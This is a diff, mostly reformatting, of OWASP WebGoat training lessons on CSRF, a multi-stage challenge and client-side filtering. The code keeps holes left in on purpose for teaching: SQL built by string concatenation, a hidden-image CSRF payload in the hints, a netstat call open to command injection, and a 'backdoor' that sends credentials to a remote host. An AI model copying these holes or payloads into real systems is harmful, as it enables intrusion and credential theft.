* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -46,7 +44,8 @@ public class BufferOverflow extends LessonAdapter
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -55,7 +54,6 @@ public class BufferOverflow extends LessonAdapter
return super.createContent(s);
}
/**
* Gets the category attribute of the ForgotPassword object
*
@ -67,7 +65,6 @@ public class BufferOverflow extends LessonAdapter
return Category.BUFFER_OVERFLOW;
}
/**
* Gets the hints attribute of the HelloScreen object
*
@ -84,13 +81,11 @@ public class BufferOverflow extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
@ -101,10 +96,8 @@ public class BufferOverflow extends LessonAdapter
return ("Buffer Overflow");
}
public Element getCredits()
{
return new StringElement(
"This screen created by: Your name could go here");
return new StringElement("This screen created by: Your name could go here");
}
}

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
@ -6,7 +7,6 @@ import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -24,39 +24,40 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
*
*/
public class CSRF extends LessonAdapter {
public class CSRF extends LessonAdapter
{
private final static String MESSAGE = "message";
private final static int MESSAGE_COL = 3;
@ -66,50 +67,53 @@ public class CSRF extends LessonAdapter {
private final static String TITLE = "title";
private final static int TITLE_COL = 2;
private static int count = 1;
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted message
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted
// message
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);
/**
* Adds a feature to the Message attribute of the MessageBoardScreen object
*
* @param s The feature to be added to the Message attribute
* @param s
* The feature to be added to the Message attribute
*/
protected void addMessage( WebSession s )
protected void addMessage(WebSession s)
{
try
{
String title = HtmlEncoder.encode( s.getParser().getRawParameter( TITLE, "" ) );
String message = s.getParser().getRawParameter( MESSAGE, "" );
String title = HtmlEncoder.encode(s.getParser().getRawParameter(TITLE, ""));
String message = s.getParser().getRawParameter(MESSAGE, "");
Connection connection = DatabaseUtilities.getConnection( s );
Connection connection = DatabaseUtilities.getConnection(s);
String query = "INSERT INTO messages VALUES (?, ?, ?, ? )";
PreparedStatement statement = connection.prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setInt(1, count++);
statement.setString(2, title);
statement.setString(3, message);
statement.setString(4, s.getUserName());
statement.executeUpdate();
statement.execute();
}
catch ( Exception e )
} catch (Exception e)
{
s.setMessage( "Could not add message to database" );
s.setMessage("Could not add message to database");
}
}
@Override
protected Element createContent(WebSession s) {
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
addMessage( s );
ec.addElement( makeInput( s ) );
ec.addElement( new HR() );
ec.addElement( makeCurrent( s ) );
ec.addElement( new HR() );
ec.addElement( makeList( s ) );
addMessage(s);
ec.addElement(makeInput(s));
ec.addElement(new HR());
ec.addElement(makeCurrent(s));
ec.addElement(new HR());
ec.addElement(makeList(s));
return ec;
}
@ -117,170 +121,176 @@ public class CSRF extends LessonAdapter {
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeInput( WebSession s )
protected Element makeInput(WebSession s)
{
Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 );
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR();
TR row2 = new TR();
row1.addElement( new TD( new StringElement( "Title: " ) ) );
row1.addElement(new TD(new StringElement("Title: ")));
Input inputTitle = new Input( Input.TEXT, TITLE, "" );
row1.addElement( new TD( inputTitle ) );
Input inputTitle = new Input(Input.TEXT, TITLE, "");
row1.addElement(new TD(inputTitle));
TD item1 = new TD();
item1.setVAlign( "TOP" );
item1.addElement( new StringElement( "Message: " ) );
row2.addElement( item1 );
item1.setVAlign("TOP");
item1.addElement(new StringElement("Message: "));
row2.addElement(item1);
TD item2 = new TD();
TextArea ta = new TextArea( MESSAGE, 5, 60 );
item2.addElement( ta );
row2.addElement( item2 );
t.addElement( row1 );
t.addElement( row2 );
TextArea ta = new TextArea(MESSAGE, 5, 60);
item2.addElement(ta);
row2.addElement(item2);
t.addElement(row1);
t.addElement(row2);
Element b = ECSFactory.makeButton( "Submit" );
Element b = ECSFactory.makeButton("Submit");
ElementContainer ec = new ElementContainer();
ec.addElement( t );
ec.addElement( new P().addElement( b ) );
ec.addElement(t);
ec.addElement(new P().addElement(b));
return ( ec );
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
public Element makeList( WebSession s )
public Element makeList(WebSession s)
{
Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 );
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
try
{
Connection connection = DatabaseUtilities.getConnection( s );
Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery( STANDARD_QUERY + " WHERE user_name LIKE '" + getNameroot( s.getUserName() ) + "%'" );
ResultSet results = statement.executeQuery(STANDARD_QUERY + " WHERE user_name LIKE '"
+ getNameroot(s.getUserName()) + "%'");
if ( ( results != null ) && ( results.first() == true ) )
if ((results != null) && (results.first() == true))
{
results.beforeFirst();
for ( int i = 0; results.next(); i++ )
for (int i = 0; results.next(); i++)
{
String link = "<a href='" + getLink() + "&" + NUMBER + "=" + results.getInt( NUM_COL ) +
"' style='cursor:hand'>" + results.getString( TITLE_COL ) + "</a>";
TD td = new TD().addElement( link );
TR tr = new TR().addElement( td );
t.addElement( tr );
String link = "<a href='" + getLink() + "&" + NUMBER + "=" + results.getInt(NUM_COL)
+ "' style='cursor:hand'>" + results.getString(TITLE_COL) + "</a>";
TD td = new TD().addElement(link);
TR tr = new TR().addElement(td);
t.addElement(tr);
}
}
}
catch ( Exception e )
} catch (Exception e)
{
s.setMessage( "Error while getting message list." );
s.setMessage("Error while getting message list.");
}
ElementContainer ec = new ElementContainer();
ec.addElement( new H1( "Message List" ) );
ec.addElement( t );
String transferFunds = s.getParser().getRawParameter("transferFunds" , "");
ec.addElement(new H1("Message List"));
ec.addElement(t);
String transferFunds = s.getParser().getRawParameter("transferFunds", "");
if (transferFunds.length() != 0)
{
makeSuccess(s);
}
return ( ec );
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeCurrent( WebSession s )
protected Element makeCurrent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
int messageNum = s.getParser().getIntParameter( NUMBER, 0 );
int messageNum = s.getParser().getIntParameter(NUMBER, 0);
Connection connection = DatabaseUtilities.getConnection( s );
Connection connection = DatabaseUtilities.getConnection(s);
String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ?";
PreparedStatement statement = connection.prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
statement.setString(1, getNameroot( s.getUserName() ) + "%");
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setInt(2, messageNum);
ResultSet results = statement.executeQuery();
if ( ( results != null ) && results.first() )
if ((results != null) && results.first())
{
ec.addElement( new H1( "Message Contents For: " + results.getString( TITLE_COL )) );
Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 );
TR row1 = new TR( new TD( new B(new StringElement( "Title:" )) ) );
row1.addElement( new TD( new StringElement( results.getString( TITLE_COL ) ) ) );
t.addElement( row1 );
ec.addElement(new H1("Message Contents For: " + results.getString(TITLE_COL)));
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR(new TD(new B(new StringElement("Title:"))));
row1.addElement(new TD(new StringElement(results.getString(TITLE_COL))));
t.addElement(row1);
String messageData = results.getString( MESSAGE_COL );
TR row2 = new TR( new TD( new B(new StringElement( "Message:" )) ) );
row2.addElement( new TD( new StringElement( messageData ) ) );
t.addElement( row2 );
String messageData = results.getString(MESSAGE_COL);
TR row2 = new TR(new TD(new B(new StringElement("Message:"))));
row2.addElement(new TD(new StringElement(messageData)));
t.addElement(row2);
TR row3 = new TR( new TD( new StringElement( "Posted By:" ) ) );
row3.addElement( new TD( new StringElement( results.getString( USER_COL ) ) ) );
t.addElement( row3 );
TR row3 = new TR(new TD(new StringElement("Posted By:")));
row3.addElement(new TD(new StringElement(results.getString(USER_COL))));
t.addElement(row3);
ec.addElement( t );
ec.addElement(t);
}
else
{
if ( messageNum != 0 )
if (messageNum != 0)
{
ec.addElement( new P().addElement( "Could not find message " + messageNum ) );
ec.addElement(new P().addElement("Could not find message " + messageNum));
}
}
}
catch ( Exception e )
} catch (Exception e)
{
s.setMessage( "Error generating " + this.getClass().getName() );
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return ( ec );
return (ec);
}
@Override
protected Category getDefaultCategory() {
protected Category getDefaultCategory()
{
return Category.XSS;
}
private final static Integer DEFAULT_RANKING = new Integer(120);
@Override
protected Integer getDefaultRanking() {
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
@Override
protected List<String> getHints(WebSession s) {
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add( "Enter some text and try to include an image in there." );
hints.add( "In order to make the picture almost invisible try to add width=\"1\" and height=\"1\"." );
hints.add( "The format of an image in html is <pre>&lt;img src=\"[URL]\" width=\"1\" height=\"1\" /&gt;</pre>");
hints.add( "Include this URL in the message <pre>&lt;img src='" + getLink() +
"&transferFunds=5000' width=\"1\" height=\"1\" /&gt;</pre>");
hints.add("Enter some text and try to include an image in there.");
hints.add("In order to make the picture almost invisible try to add width=\"1\" and height=\"1\".");
hints.add("The format of an image in html is <pre>&lt;img src=\"[URL]\" width=\"1\" height=\"1\" /&gt;</pre>");
hints.add("Include this URL in the message <pre>&lt;img src='" + getLink()
+ "&transferFunds=5000' width=\"1\" height=\"1\" /&gt;</pre>");
return hints;
}
@ -292,10 +302,10 @@ public class CSRF extends LessonAdapter {
*/
public String getTitle()
{
return ( "Cross Site Request Forgery (CSRF)" );
return ("Cross Site Request Forgery (CSRF)");
}
private static String getNameroot( String name )
private static String getNameroot(String name)
{
String nameroot = name;
if (nameroot.indexOf('-') != -1)

View File

@ -1,35 +1,35 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
@ -16,9 +17,7 @@ import java.util.ArrayList;
import java.util.List;
import java.util.StringTokenizer;
import java.util.Vector;
import javax.servlet.http.Cookie;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -39,32 +38,31 @@ import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.Exec;
import org.owasp.webgoat.util.ExecResults;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -195,8 +193,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
s.getResponse().addCookie(newCookie);
ElementContainer ec = new ElementContainer();
if (s.getParser().getStringParameter(Input.SUBMIT, "")
.equals(PROCEED_TO_NEXT_STAGE + "(3)"))
if (s.getParser().getStringParameter(Input.SUBMIT, "").equals(PROCEED_TO_NEXT_STAGE + "(3)"))
{
s.setMessage("Welcome to stage 3 -- deface the site");
setStage(s, 3);
@ -207,8 +204,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
Connection connection = DatabaseUtilities.getConnection(s);
Statement statement3 = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
Statement statement3 = connection
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
// pull the USER_COOKIE from the cookies
String user = getCookie(s);
@ -232,8 +229,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(buildCart(s));
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(0).setWidth("90%").setAlign("center");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
ec.addElement(new BR());
TR tr = new TR();
@ -252,21 +248,20 @@ public class Challenge2Screen extends SequentialLessonAdapter
Input input = new Input(Input.HIDDEN, USER, "White");
ec.addElement(input);
//STAGE 3 BUTTON
// STAGE 3 BUTTON
if (v.size() == 13)
{
s.setMessage("Congratulations! You stole all the credit cards, proceed to stage 3!");
ec.addElement(new BR());
//TR inf = new TR();
// TR inf = new TR();
Center center = new Center();
Element proceed = ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(3)");
center.addElement(proceed);
//inf.addElement(new TD().addElement(proceed).setAlign("center"));
// inf.addElement(new TD().addElement(proceed).setAlign("center"));
ec.addElement(center);
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("An error occurred in the woods");
}
@ -294,8 +289,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
// <START_OMIT_SOURCE>
ElementContainer ec = new ElementContainer();
if (s.getParser().getStringParameter(Input.SUBMIT, "")
.equals(PROCEED_TO_NEXT_STAGE + "(4)"))
if (s.getParser().getStringParameter(Input.SUBMIT, "").equals(PROCEED_TO_NEXT_STAGE + "(4)"))
{
setStage(s, 4);
// Reset the defaced webpage so the lesson can start over
@ -309,22 +303,21 @@ public class Challenge2Screen extends SequentialLessonAdapter
{
ec.addElement(new HR());
s.setMessage("CONGRATULATIONS - You have defaced the site!");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign(
"center");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TD().setAlign("center").addElement(
ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(4)")));
tr.addElement(new TD().setAlign("center").addElement(ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(4)")));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement(showDefaceAttempt(s)));
t.addElement(tr);
ec.addElement(t);
return ec;
} else
}
else
{
// Setup the screen content
try
@ -332,8 +325,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(new H1("Current Network Status:"));
ec.addElement(netstatResults);
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign(
"center");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
@ -342,21 +334,17 @@ public class Challenge2Screen extends SequentialLessonAdapter
TR tr = new TR();
tr.addElement(new TD().addElement(ECSFactory.makeButton("View Network")));
tr.addElement(new TD().setWidth("35%").addElement(
ECSFactory.makePulldown(PROTOCOL, list, "", 5)));
tr.addElement(new TD().setWidth("35%").addElement(ECSFactory.makePulldown(PROTOCOL, list, "", 5)));
t.addElement(tr);
ec.addElement(t);
}
catch (Exception e)
} catch (Exception e)
{
ec.addElement(new P()
.addElement("Select a message to read from the Message List below"));
ec.addElement(new P().addElement("Select a message to read from the Message List below"));
}
ec.addElement(new HR());
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign(
"center");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
@ -377,15 +365,13 @@ public class Challenge2Screen extends SequentialLessonAdapter
try
{
// get current text and compare to the new text
String origpath = s.getContext().getRealPath(
WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String origpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP);
String defacedText = getFileText(new BufferedReader(new FileReader(origpath)), false);
String origText = getFileText(new BufferedReader(new FileReader(masterFilePath)), false);
defaced = (!origText.equals(defacedText));
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -398,11 +384,10 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer();
// get current text and compare to the new text
String origpath = s.getContext().getRealPath(
WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String origpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String defaced = getFileText(new BufferedReader(new FileReader(origpath)), false);
String origText = getFileText(new BufferedReader(new FileReader(s.getContext().getRealPath(
WEBGOAT_CHALLENGE_JSP))), false);
String origText = getFileText(new BufferedReader(new FileReader(s.getContext()
.getRealPath(WEBGOAT_CHALLENGE_JSP))), false);
// show webgoat.jsp text
ec.addElement(new H1().addElement("Original Website Text"));
@ -420,8 +405,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
try
{
// get current text and compare to the new text
String defacedpath = s.getContext().getRealPath(
WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String defacedpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP);
// replace the defaced text with the original
@ -431,8 +415,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
fw.close();
// System.out.println("webgoat_guest replaced: " + getFileText( new
// BufferedReader( new FileReader( defacedpath ) ), false ) );
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -458,8 +441,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Thanks for coming!"));
ec.addElement(new BR());
ec
.addElement(new H1()
ec.addElement(new H1()
.addElement("Please remember that you will be caught and fired if you use these techniques for evil."));
return (ec);
@ -525,8 +507,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%")
.setAlign("center");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
@ -534,10 +515,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
}
TR tr = new TR();
tr
.addElement(new TH()
.addElement(
"Please sign in to your account. See the OWASP admin if you do not have an account.")
tr.addElement(new TH()
.addElement("Please sign in to your account. See the OWASP admin if you do not have an account.")
.setColSpan(2).setAlign("left"));
t.addElement(tr);
@ -594,9 +573,9 @@ public class Challenge2Screen extends SequentialLessonAdapter
}
/**
* This is a deliberate 'backdoor' that would send user name and password
* back to the remote host. Obviously, sending the password back to the
* remote host isn't that useful but... you get the idea
* This is a deliberate 'backdoor' that would send user name and password back to the remote
* host. Obviously, sending the password back to the remote host isn't that useful but... you
* get the idea
*
* @param s
* Description of the Parameter
@ -614,8 +593,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
System.out.println(" Sending message to " + sock.getInetAddress());
sock.send(dp);
sock.close();
}
catch (Exception e)
} catch (Exception e)
{
System.out.println("Couldn't phone home");
e.printStackTrace();
@ -645,8 +623,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer();
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
.setAlign("center");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{
@ -668,7 +645,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
{
String cmd = "cmd.exe /c netstat -a -p " + protocol;
er = Exec.execSimple(cmd);
} else
}
else
{
String[] cmd = { "/bin/sh", "-c", "netstat -a -p " + protocol };
er = Exec.execSimple(cmd);
@ -684,7 +662,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
if ((line.indexOf("Proto") != -1))
{
start++;
} else
}
else
{
line = lines.nextToken();
}
@ -740,8 +719,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
{
OutputStreamWriter osw = new OutputStreamWriter(s.getOutputStream());
osw.write(message);
}
catch (Exception e)
} catch (Exception e)
{
System.out.println("Couldn't write " + message + " to " + s);
e.printStackTrace();
@ -754,8 +732,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
.setAlign("center");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{
@ -778,8 +755,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign(
"center");
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
@ -815,10 +791,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
for (int i = 0; i < cookies.length; i++)
{
if (cookies[i].getName().equalsIgnoreCase(USER_COOKIE))
{
return (cookies[i].getValue());
}
if (cookies[i].getName().equalsIgnoreCase(USER_COOKIE)) { return (cookies[i].getValue()); }
}
return (null);

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.ClientSideFiltering;
import java.io.BufferedReader;
@ -6,7 +7,6 @@ import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@ -28,26 +28,30 @@ import org.owasp.webgoat.lessons.SequentialLessonAdapter;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
public class ClientSideFiltering extends SequentialLessonAdapter {
public class ClientSideFiltering extends SequentialLessonAdapter
{
private final static String ANSWER = "answer";
public final static A ASPECT_LOGO = new A().setHref(
"http://www.aspectsecurity.com").addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security")
.setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
protected Element createContent(WebSession s) {
protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element createMainContent(WebSession s) {
protected Element createMainContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try {
try
{
ec.addElement(new Script()
.setSrc("javascript/clientSideFiltering.js"));
ec.addElement(new Script().setSrc("javascript/clientSideFiltering.js"));
Input input = new Input(Input.HIDDEN, "userID", 102);
@ -56,8 +60,7 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
ec.addElement(input);
style sty = new style();
sty
.addElement("#lesson_wrapper {height: 435px;width: 500px;}"
sty.addElement("#lesson_wrapper {height: 435px;width: 500px;}"
